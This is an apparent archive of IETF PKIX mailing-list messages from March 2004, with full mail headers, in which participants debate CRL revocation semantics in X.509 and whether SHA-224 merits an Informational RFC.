when the FreshestCRL extension appears in a CRL, it should only contain
the distribution point name, which acts as a pointer to a delta-CRL.&nbsp;
RFC 3280 further requires that the delta-CRL contain the same
issuingDistributionPoint field as the corresponding complete for scope
CRL.&nbsp; This allows for the FreshestCRL extension in the CRL to only act
as a pointer since the issuingDistribuionPoint extension in the
delta-CRL can be compared to the cRLDistributionPoint extension in the
certificate.<br>
<br>
Dave<br>
</body>
</html>

--------------030307050703050102080604--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2V5t2xS089718; Tue, 30 Mar 2004 21:55:02 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2V5t2LR089717; Tue, 30 Mar 2004 21:55:02 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail15.atl.registeredsite.com ([e-mail] [64.224.219.99]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2V5t1Xq089711 for <[e-mail]>; Tue, 30 Mar 2004 21:55:02 -0800 (PST) (envelope-from [e-mail])
Received: from taurus.hosting4u.net (taurus.hosting4u.net [209.35.191.122]) by mail15.atl.registeredsite.com (8.12.8/8.12.8) with ESMTP id i2V5t8fM012493; Wed, 31 Mar 2004 00:55:08 -0500
Received: from nma.com ([63.204.17.85]) by taurus.hosting4u.net ; Tue, 30 Mar 2004 23:55:06 -0600
Message-ID: <[e-mail]>
Date: Tue, 30 Mar 2004 21:55:02 -0800
From: Ed Gerck <[e-mail]>
X-Mailer: Mozilla 4.79 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Santosh Chokhani <[e-mail]>
CC: [e-mail]
Subject: Re: Current status of CRL validation ?
References: <[e-mail]> <004f01c410dc$2c0681d0$[e-mail]> <[e-mail]> <p06020406bc861b0a4627@[128.33.244.157]> <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Santosh Chokhani wrote:
> 
> Please see responses below.
> 
> On Tue, 30 Mar 2004 15:52:25 -0800, Ed Gerck wrote
> > Julien,
> >
> > Yes, a PKIX cert is either revoked or not. Yes, this is strictly enforceable
> > in X.509 because: (a) a cert has only one issuer and, (b) only that
> > issuer of the cert can revoke the cert.
> 
> Not true. A certificate can be revoked by another authority as asserted in 
> the CRL issuer field of the CDP of the certificate.

But (a) is still true and (b) is true either by delegation from the issuer CA 
or by the issuer CA not implementing authoritative revocation. 

Moreover, in legal reliance terms, one may trust the confirmation procedures
of the issuer CA's Designated Responder or any Trusted Responder during 
certificate reliance (i.e., whether the cert has been revoked or not) under
CRLs or OCSPs, but one cannot rely upon them for other than their value as 
a representation of the issuer CA revocation management as expressed in the 
issuer CA own terms and rules.

So, yes, whether a cert is revoked or not _is_ strictly enforceable by the 
issuer CA in X.509.

> 
> > However, X.509 is unable to
> > allow a RP to measure with any desired confidence (i.e., desired by
> > the RP) whether a cert is revoked or not.
> >
> > This is due to several unsolvable problems in the X.509/PKIX
> > framework [1]. For example, there may be a considerable delay (no
> > warranties on the CAs CPSs can be found on upper limits for such
> > delays) between the actual need to revoke a certificate and the
> > reflection of this need in a certificate chain with different CAs.
> > Further, the major X.509 security application today, SSL, still does
> > not check revocation lists or any other revocation mechanisms -- so
> > they are near to useless. Also, the user is not able to check server
> > certificates (and certificates in the CA chains) against revocation
> > lists.
> 
> This is not a standards, PKI, X.509 or PKIX problem.  It is an implementation
> problem.

No. It's a X.509 design problem that is unsolvable in the design. It does 
not depend on the implementation, not matter how clever.
 
> >
> > Moreover, PKIX/X.509 revocation is a "will" to revoke but not an
> > actual revocation. Few recognize, as you have now hit, that cert revocation
> > in PKIX/X.509 is a solution to a non-existent problem ... while the
> > real problem is left utterly unsolved. The non-existent problem
> > solved by PKIX/X.509 cert revocation is how to communicate that a
> > certificate is no longer valid ... because if a certificate were
> > really no longer valid
> > (as it should be) then no one would need to find the cert revocation
> > to know about it.
> 
> Please clarify what you mean by "will to revoke" and "actual revocation"

"will to revoke" --> revocation by reference
"actual revocation" --> revocation by absence of functionality

Cheers,
Ed Gerck



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2V3ILZG077341; Tue, 30 Mar 2004 19:18:21 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2V3ILu0077340; Tue, 30 Mar 2004 19:18:21 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from host13.websitesource.com (host13.websitesource.com [209.239.35.152]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2V3ILn6077333 for <[e-mail]>; Tue, 30 Mar 2004 19:18:21 -0800 (PST) (envelope-from [e-mail])
Received: from orionsec.com (localhost [127.0.0.1]) by host13.websitesource.com (8.12.10/8.12.10) with ESMTP id i2V3IRBv020622 for <[e-mail]>; Tue, 30 Mar 2004 22:18:27 -0500
From: "Santosh Chokhani" <[e-mail]>
To: [e-mail]
Subject: Re: Current status of CRL validation ?
Date: Tue, 30 Mar 2004 23:18:27 -0400
Message-Id: <[e-mail]>
In-Reply-To: <[e-mail]>
References: <[e-mail]> <004f01c410dc$2c0681d0$[e-mail]> <[e-mail]> <p06020406bc861b0a4627@[128.33.244.157]> <[e-mail]>
X-Mailer: Open WebMail 1.81 20021127
X-OriginatingIP: 69.143.113.169 (chokhani)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Please see responses below.

On Tue, 30 Mar 2004 15:52:25 -0800, Ed Gerck wrote
> Julien,
> 
> Yes, a PKIX cert is either revoked or not. Yes, this is strictly enforceable
> in X.509 because: (a) a cert has only one issuer and, (b) only that 
> issuer of the cert can revoke the cert.

Not true. A certificate can be revoked by another authority as asserted in 
the CRL issuer field of the CDP of the certificate.

> However, X.509 is unable to 
> allow a RP to measure with any desired confidence (i.e., desired by 
> the RP) whether a cert is revoked or not.
> 
> This is due to several unsolvable problems in the X.509/PKIX 
> framework [1]. For example, there may be a considerable delay (no 
> warranties on the CAs CPSs can be found on upper limits for such 
> delays) between the actual need to revoke a certificate and the 
> reflection of this need in a certificate chain with different CAs. 
> Further, the major X.509 security application today, SSL, still does 
> not check revocation lists or any other revocation mechanisms -- so 
> they are near to useless. Also, the user is not able to check server 
> certificates (and certificates in the CA chains) against revocation 
> lists. 

This is not a standards, PKI, X.509 or PKIX problem.  It is an implementation 
problem.

> 
> Moreover, PKIX/X.509 revocation is a "will" to revoke but not an 
> actual revocation. Few recognize, as you have now hit, that cert revocation
> in PKIX/X.509 is a solution to a non-existent problem ... while the 
> real problem is left utterly unsolved. The non-existent problem 
> solved by PKIX/X.509 cert revocation is how to communicate that a 
> certificate is no longer valid ... because if a certificate were 
> really no longer valid 
> (as it should be) then no one would need to find the cert revocation 
> to know about it. 

Please clarify what you mean by "will to revoke" and "actual revocation"

> 
> Cheers,
> Ed Gerck
> 
> [1] http://nma.com/mcg-mirror/cert.htm






Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2UNqOOt060001; Tue, 30 Mar 2004 15:52:24 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2UNqOcU060000; Tue, 30 Mar 2004 15:52:24 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail13.atl.registeredsite.com ([e-mail] [64.224.219.87]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2UNqNWs059994 for <[e-mail]>; Tue, 30 Mar 2004 15:52:24 -0800 (PST) (envelope-from [e-mail])
Received: from taurus.hosting4u.net (taurus.hosting4u.net [209.35.191.122]) by mail13.atl.registeredsite.com (8.12.8/8.12.8) with ESMTP id i2V0qFB9002553 for <[e-mail]>; Tue, 30 Mar 2004 19:52:15 -0500
Received: from nma.com ([63.204.17.85]) by taurus.hosting4u.net ; Tue, 30 Mar 2004 17:52:27 -0600
Message-ID: <[e-mail]>
Date: Tue, 30 Mar 2004 15:52:25 -0800
From: Ed Gerck <[e-mail]>
X-Mailer: Mozilla 4.79 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Current status of CRL validation ?
References: <[e-mail]> <004f01c410dc$2c0681d0$[e-mail]> <[e-mail]> <p06020406bc861b0a4627@[128.33.244.157]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Rcpt-To: <[e-mail]>
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Julien,

Yes, a PKIX cert is either revoked or not. Yes, this is strictly enforceable
in X.509 because: (a) a cert has only one issuer and, (b) only that issuer of
the cert can revoke the cert. However, X.509 is unable to allow a RP to 
measure with any desired confidence (i.e., desired by the RP) whether a cert 
is revoked or not.

This is due to several unsolvable problems in the X.509/PKIX framework [1]. 
For example, there may be a considerable delay (no warranties on the CAs 
CPSs can be found on upper limits for such delays) between the actual need 
to revoke a certificate and the reflection of this need in a certificate 
chain with different CAs. Further, the major X.509 security application 
today, SSL, still does not check revocation lists or any other revocation
mechanisms -- so they are near to useless. Also, the user is not able to 
check server certificates (and certificates in the CA chains) against 
revocation lists. 

Moreover, PKIX/X.509 revocation is a "will" to revoke but not an actual 
revocation. Few recognize, as you have now hit, that cert revocation
in PKIX/X.509 is a solution to a non-existent problem ... while the real 
problem is left utterly unsolved. The non-existent problem solved by 
PKIX/X.509 cert revocation is how to communicate that a certificate is no 
longer valid ... because if a certificate were really no longer valid 
(as it should be) then no one would need to find the cert revocation to 
know about it. 

Cheers,
Ed Gerck

[1] http://nma.com/mcg-mirror/cert.htm



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2UMFFiu051889; Tue, 30 Mar 2004 14:15:15 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2UMFF7k051888; Tue, 30 Mar 2004 14:15:15 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from [63.202.92.152] (adsl-63-202-92-152.dsl.snfc21.pacbell.net [63.202.92.152]) (authenticated bits=0) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2UMFDP2051881 for <[e-mail]>; Tue, 30 Mar 2004 14:15:14 -0800 (PST) (envelope-from [e-mail])
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06100460bc8f9cdedbba@[63.202.92.152]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Tue, 30 Mar 2004 14:14:47 -0800
To: [e-mail]
From: Paul Hoffman / IMC <[e-mail]>
Subject: RE: WG Last Call: SHA-224
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

At 4:35 PM -0500 3/30/04, Alice Sturgeon wrote:
>My colleague Bob Jueneman and I have been following this thread with great
>interest and some concern, the latter already reflected in the thread,
>Paul's post below and some of today's more recent ones.
>
>We agree with Paul's views generally on this subject, in terms of the
>usefulness of SHA-224 and the potential impact of its standardization.

Errr, that's not what I said. The last call for this document 
explicitly said that it is expected to be an Informational RFC. 
Informational RFCs have absolutely no standards values. I see no 
problem with the publication of this document as an Informational RFC 
as long as it contains guidance to protocol developers.

>Its sole purpose
>seems to be to fine-tune an "impedance match" with a triple-DES key, when
>triple-DES itself is effectively passe and obsolete, notwithstanding the
>fact that many applications still use it.

TripleDES is neither passé nor obsolete in the IETF. New security 
standards such as IKEv2 from the IPsec WG are mandating it.

>Standardization groups need to remember that there is a cost, often
>considerable, to adding features that someone thinks are needed (or simply
>that someone thinks are cool), and that, at the end of the day, are not used
>in sufficient volume to warrant these costs, of standardization, enabling
>interoperability among all the parts.

Fully agree. However, the likelihood that someone will misunderstand 
how to truncate a value, particularly when the specification document 
has multiple easy-to-read test vectors, is quite low.

>This inevitably leads to more and more bloated code, more and more potential
>errors, and hence more opportunities for security flaws, etc. And in the
>case of SHA-224 all of this is done to save 32 bytes, which a protocol
>designer could do themselves if they thought it was really, really
>important.

At least I'm not the only one who says "32 bytes" when the actual 
amount is "32 bits". :-) And, no, we don't want protocol designers to 
do it themselves, given that protocols often interact. That's why we 
have Informational RFCs that describe algorithms such as this.

>But in addition to the problem of bloated code, there is a much more serious
>issue of interoperability testing, because for every new "feature" of this
>type there is a combinatoric* explosion of interfaces to be tested.  That in
>turn drives up the cost of the product, and inescapably drives down the
>quality, for there are never sufficient testing resources to go around.

A hash function has one input and one output. Testing it is rather 
easy, particularly compared to functions with multiple inputs, 
multiple outputs, or structured inputs and/or outputs. And, again, 
this document has worked-out test vectors.

>That's why we oppose the standardization of SHA-224, or the use of it in any
>IETF protocols, including the ANSI X9.82 Random Number Generation standard
>currently being developed.

If you are worried about it being standardized in the IETF, don't be: 
it is meant to be an Informational RFC. If you want to prevent its 
use in any IETF protocol, you need to send that message to the WGs 
working on those protocols. For grins, you might send messages to WGs 
that are working on protocols mandating TripleDES and tell them that 
TripleDES is passé and obsolete.

>Having gone this far, we might also question the need for AES-192, SHA-384,
>or the corresponding strength elliptic curves as well.  From the timing data
>that we've seen, none offers any great savings in time, and in our view the
>differences in space are hardly worth it.

See previous comment. You might as well start all the flame wars at once.

--Paul Hoffman, Director
--Internet Mail Consortium



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2ULa5rd050143; Tue, 30 Mar 2004 13:36:05 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2ULa5MX050142; Tue, 30 Mar 2004 13:36:05 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from tomts20-srv.bellnexxia.net (tomts20.bellnexxia.net [209.226.175.74]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2ULa3Tg050134; Tue, 30 Mar 2004 13:36:04 -0800 (PST) (envelope-from [e-mail])
Received: from hippolyta ([69.156.78.254]) by tomts20-srv.bellnexxia.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with SMTP id <20040330213557.TRNT15811.tomts20-srv.bellnexxia.net@hippolyta>; Tue, 30 Mar 2004 16:35:57 -0500
From: "Alice Sturgeon" <[e-mail]>
To: "Paul Hoffman / IMC" <[e-mail]>, "Tim Polk" <[e-mail]>, <[e-mail]>
Subject: RE: WG Last Call: SHA-224
Date: Tue, 30 Mar 2004 16:35:59 -0500
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <p06100426bc8ccd12de6b@[63.202.92.152]>
Importance: Normal
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Hi Paul, Tim, Russ et al.,

My colleague Bob Jueneman and I have been following this thread with great
interest and some concern, the latter already reflected in the thread,
Paul's post below and some of today's more recent ones.

We agree with Paul's views generally on this subject, in terms of the
usefulness of SHA-224 and the potential impact of its standardization.

We are strongly opposed to standardizing SHA-224, and at present have no
plans to implement it even if it does become a standard.  It seems highly
unlikely that 32 bits would make a substantial difference, even in a
restricted bandwidth environment.  And because the SHA-224 is simply a
truncation of SHA-256, it certainly isn't saving any time.  Its sole purpose
seems to be to fine-tune an "impedance match" with a triple-DES key, when
triple-DES itself is effectively passe and obsolete, notwithstanding the
fact that many applications still use it.

Standardization groups need to remember that there is a cost, often
considerable, to adding features that someone thinks are needed (or simply
that someone thinks are cool), and that, at the end of the day, are not used
in sufficient volume to warrant these costs, of standardization, enabling
interoperability among all the parts.

It sometimes seems that, when an RFP comes up for bid, the race is on to see
who can offer the most features and is compliant with the many standards
that are referenced.  Unfortunately, in a lot of cases neither the RFP
preparers nor the award committee are experts on the fine points of the
standards, and so they simply look at the list of standards and apply a
check-box score to the results.

This inevitably leads to more and more bloated code, more and more potential
errors, and hence more opportunities for security flaws, etc. And in the
case of SHA-224 all of this is done to save 32 bytes, which a protocol
designer could do themselves if they thought it was really, really
important.

But in addition to the problem of bloated code, there is a much more serious
issue of interoperability testing, because for every new "feature" of this
type there is a combinatoric* explosion of interfaces to be tested.  That in
turn drives up the cost of the product, and inescapably drives down the
quality, for there are never sufficient testing resources to go around.

That's why we oppose the standardization of SHA-224, or the use of it in any
IETF protocols, including the ANSI X9.82 Random Number Generation standard
currently being developed.

Having gone this far, we might also question the need for AES-192, SHA-384,
or the corresponding strength elliptic curves as well.  From the timing data
that we've seen, none offers any great savings in time, and in our view the
differences in space are hardly worth it.

As Paul says, these trains may have already left the station but just to let
you know that we jumped off.

(*  Word thinks that "combinatoric" is not a word.  But Google thinks that
it is, and informs you that you can buy one on eBay! :) )


Alice Sturgeon

System Policy Architect
SPYRUS

Chair, Canadian Advisory Committee - IT Security
ISO/IEC JTC 1/SC 27

Phone:  [phone]
Cell:  613-291-0331




-----Original Message-----
From: [e-mail] [mailto:[e-mail]]On
Behalf Of Paul Hoffman / IMC
Sent: Sunday, March 28, 2004 1:53 PM
To: Tim Polk; [e-mail]
Subject: Re: WG Last Call: SHA-224


At 4:14 PM -0500 3/26/04, Tim Polk wrote:
>This specification will provide a stable reference for the SHA-224
>algorithm, which is needed by several IETF specifications.

In searching the Internet Drafts directory, only four documents even
mention SHA-224:

eastlake-xmldsig-uri: uses it as part of an exhaustive list, not a
requirement

pkix-rsa-pkalgs: uses it as part of an exhaustive list, not a requirement

pkix-sha224: the document in question

smime-cms-rsa-kem: uses it but does not justify why it needs it
instead of SHA-256

The train may have left the station on this one, but it is really
pretty silly. The only possible use is in severely
bandwidth-restricted environments where an extra 32 bytes is
important. None of the documents above discuss any such environments.

It is silly to say that SHA-256 doesn't "match" 112 bits of
encryption strength. There is no disadvantage to having more bits of
randomness, particularly because TripleDES doesn't use 112-bit blocks.

This document would be well-served to have an additional paragraph
explaining that systems that use TripleDES and need a matching hash
algorithm SHOULD use SHA-256, not SHA-224, unless they are in
severely bandwidth-restricted environments.

--Paul Hoffman, Director
--Internet Mail Consortium




Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2UIxIqG037841; Tue, 30 Mar 2004 10:59:18 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2UIxIeP037840; Tue, 30 Mar 2004 10:59:18 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from [63.202.92.152] (adsl-63-202-92-152.dsl.snfc21.pacbell.net [63.202.92.152]) (authenticated bits=0) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2UIxHUe037830 for <[e-mail]>; Tue, 30 Mar 2004 10:59:17 -0800 (PST) (envelope-from [e-mail])
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06100456bc8f73030bd3@[63.202.92.152]>
In-Reply-To: <03e101c41675$5c75df70$010aff0a@gw>
References: <E1B8A3S-0007g8-Dc@medusa01> <03e101c41675$5c75df70$010aff0a@gw>
Date: Tue, 30 Mar 2004 10:59:21 -0800
To: [e-mail]
From: Paul Hoffman / IMC <[e-mail]>
Subject: Re: WG Last Call: SHA-224
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

At 8:34 AM -0800 3/30/04, todd glassey wrote:
>This is an instance where this protocol should be a part of the IRTF since
>it will likely not be used in production.

Hmmm, not sure where to start here. The IRTF works on items that are 
intended to be used in production. The IETF sometimes works on items 
that never end up in production. There already was evidence that 
others intend to put this in production, making the prediction much 
less likely to be true.

--Paul Hoffman, Director
--Internet Mail Consortium



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2UGqOWL027553; Tue, 30 Mar 2004 08:52:24 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2UGqORl027552; Tue, 30 Mar 2004 08:52:24 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp.cs.auckland.ac.nz (smtp.cs.auckland.ac.nz [130.216.33.151]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2UGqNf2027545 for <[e-mail]>; Tue, 30 Mar 2004 08:52:23 -0800 (PST) (envelope-from [e-mail])
Received: from medusa01 (medusa01.cs.auckland.ac.nz [130.216.34.33]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by smtp.cs.auckland.ac.nz (Postfix) with ESMTP id 8AE7734014; Wed, 31 Mar 2004 04:50:52 +1200 (NZST)
Received: from pgut001 by medusa01 with local (Exim 4.30) id 1B8MTX-0000T3-8q; Wed, 31 Mar 2004 04:52:31 +1200
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail], [e-mail], [e-mail]
Subject: Re: WG Last Call: SHA-224
In-Reply-To: <03e101c41675$5c75df70$010aff0a@gw>
Message-Id: <E1B8MTX-0000T3-8q@medusa01>
Date: Wed, 31 Mar 2004 04:52:31 +1200
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

"todd glassey" <[e-mail]> writes:

>This is an instance where this protocol should be a part of the IRTF since it
>will likely not be used in production.

Don't get me wrong, I have no objection to having it as an RFC, but it should
say "We're doing this because it's fun/we have a quota to fill/the mind
control satellites made us/whatever" rather than trying to manufacture a
reason for its existence.  What's wrong with just doing something for the sake
of it?

Peter.



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2UGcRTk026807; Tue, 30 Mar 2004 08:38:27 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2UGcRL3026806; Tue, 30 Mar 2004 08:38:27 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mtiwmhc13.worldnet.att.net (mtiwmhc13.worldnet.att.net [204.127.131.117]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2UGcQKJ026799 for <[e-mail]>; Tue, 30 Mar 2004 08:38:26 -0800 (PST) (envelope-from [e-mail])
Received: from gw (84.san-jose-01-03rs.ca.dial-access.att.net[12.72.192.84]) by worldnet.att.net (mtiwmhc13) with SMTP id <2004033016381211300sij32e>; Tue, 30 Mar 2004 16:38:13 +0000
Message-ID: <03e101c41675$5c75df70$010aff0a@gw>
From: "todd glassey" <[e-mail]>
To: "Peter Gutmann" <[e-mail]>, <[e-mail]>, <[e-mail]>
References: <E1B8A3S-0007g8-Dc@medusa01>
Subject: Re: WG Last Call: SHA-224
Date: Tue, 30 Mar 2004 08:34:16 -0800
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is an instance where this protocol should be a part of the IRTF since
it will likely not be used in production.

Todd

----- Original Message ----- 
From: "Peter Gutmann" <[e-mail]>
To: <[e-mail]>; <[e-mail]>
Sent: Monday, March 29, 2004 7:36 PM
Subject: Re: WG Last Call: SHA-224


>
> Jack Lloyd <[e-mail]> writes:
>
> >If someone really want this and wants it RFCized, then fine, I just don't
see
> >the logic behind it.
>
> That's exactly whay I pointed out months ago when it first came up.  It's
not
> useful in any normal Internet protocol that requires key management
because
> they all use the output of a PRF (usually via HMAC), it's not useful in
> signing because they use PKCS #1, but it is going to be pushed through no
> matter what, so we may as well just sit back and..., well, ignore it.  If
the
> RFC were however to admit that "There's no requirement for this in any
> Internet security protocol" (or whatever the text is that gets used for
other
> oddball algorithms that people do RFCs for) it'd be helpful in addressing
> arguments from people who wanted it supported just because it's mentioned
in
> some RFC.
>
> Peter.
>



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2U3aknH000290; Mon, 29 Mar 2004 19:36:46 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2U3akJc000289; Mon, 29 Mar 2004 19:36:46 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp.cs.auckland.ac.nz (smtp.cs.auckland.ac.nz [130.216.33.151]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2U3ahg1000159 for <[e-mail]>; Mon, 29 Mar 2004 19:36:45 -0800 (PST) (envelope-from [e-mail])
Received: from medusa01 (medusa01.cs.auckland.ac.nz [130.216.34.33]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by smtp.cs.auckland.ac.nz (Postfix) with ESMTP id 855703404A; Tue, 30 Mar 2004 15:35:15 +1200 (NZST)
Received: from pgut001 by medusa01 with local (Exim 4.30) id 1B8A3S-0007g8-Dc; Tue, 30 Mar 2004 15:36:46 +1200
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail]
Subject: Re: WG Last Call: SHA-224
In-Reply-To: <[e-mail]>
Message-Id: <E1B8A3S-0007g8-Dc@medusa01>
Date: Tue, 30 Mar 2004 15:36:46 +1200
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Jack Lloyd <[e-mail]> writes:

>If someone really want this and wants it RFCized, then fine, I just don't see
>the logic behind it.

That's exactly whay I pointed out months ago when it first came up.  It's not
useful in any normal Internet protocol that requires key management because
they all use the output of a PRF (usually via HMAC), it's not useful in
signing because they use PKCS #1, but it is going to be pushed through no
matter what, so we may as well just sit back and..., well, ignore it.  If the
RFC were however to admit that "There's no requirement for this in any
Internet security protocol" (or whatever the text is that gets used for other
oddball algorithms that people do RFCs for) it'd be helpful in addressing
arguments from people who wanted it supported just because it's mentioned in
some RFC.

Peter.



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2U1qZJp093091; Mon, 29 Mar 2004 17:52:35 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2U1qZJw093090; Mon, 29 Mar 2004 17:52:35 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from localhost.localdomain (Kix2-fe0-bb.kornet.net [168.126.16.8] (may be forged)) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2U1qVET093079 for <[e-mail]>; Mon, 29 Mar 2004 17:52:33 -0800 (PST) (envelope-from [e-mail])
Received: from COOL (cool.signgate.co.kr [168.126.16.47]) by localhost.localdomain (8.12.5/8.12.5) with ESMTP id i2U1hRE4001805; Tue, 30 Mar 2004 10:43:30 +0900
Message-Id: <[e-mail]>
Reply-To: <[e-mail]>
From: "Shim Heewon" <[e-mail]>
To: "'Stefan Santesson'" <[e-mail]>
Cc: <[e-mail]>
Subject: RE: Freshest CRL
Date: Tue, 30 Mar 2004 10:52:27 +0900
Organization: ??????(?)
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_008F_01C41645.1907C2B0"
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
Thread-Index: AcQV2fVVTMzOtGsQQdG4B+Up+gj0ogAE12hg
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <[e-mail]>
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_008F_01C41645.1907C2B0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

